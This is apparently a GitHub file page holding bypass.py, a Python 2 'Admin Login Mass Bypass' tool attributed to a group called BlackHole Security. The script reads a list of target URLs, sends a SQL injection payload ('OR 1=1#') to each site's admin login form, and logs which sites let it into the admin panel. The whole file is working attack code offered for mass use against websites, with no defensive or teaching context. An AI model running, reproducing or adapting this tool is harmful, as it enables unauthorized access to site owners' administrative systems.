-
Notifications
You must be signed in to change notification settings - Fork 3
/
bypass.py
executable file
·46 lines (43 loc) · 1.44 KB
/
bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
## bypass.py - Admin Login Mass Bypass
# -*- coding: utf-8 -*-
##
import sys
import requests
__date__ = "12-March-2018"
__author__ = "DedSecTL/DTL"
__team__ = "BlackHole Security"
__codename__ = "Alone."
__banner__ = """
################################################
# Admin Login Mass Bypass #
# BlackHole Security #
# 12 - March - 2018 #
################################################
"""
def bypass(target):
bhs = open("bypass_results.txt", 'a')
tl = open(target, 'r')
while True:
param = {'action':'dologin','uname':'ADMIN%27+OR+1%3D1%23','pass':'ADMIN%27+OR+1%3D1%23','submit':'Admin+Login'}
list = tl.readline().replace('\n', '')
if not list:
break
url = list
r = requests.post(url, data=param)
if "/admin/main.php" in r.text:
print "\033[1;32m[*]\033[1;37m STATUS : \033[1;32m BYPASSED\033[0m"
print "\033[1;32m[*]\033[1;37m ADMIN PAGE : \033[1;32m %s/admin/index.php\033[0m" %url
print "\033[1;32m[*]\033[1;37m USERNAME : \033[1;32m '=\"OR'\033[0m"
print "\033[1;32m[*]\033[1;37m PASSWORD : \033[1;32m '=\"OR'\033[0m"
bhs.write(url+"\n")
else:
print "\033[1;31m[-]\033[1;37m STATUS : \033[1;31m FAILED\033[0m"
print "\033[1;31m[-]\033[1;37m URL : %s\n" %url
pass
if __name__ == "__main__":
if len(sys.argv) != 2:
print __banner__
print "Usage: bypass <list_target.txt>"
else:
print __banner__
bypass(sys.argv[1])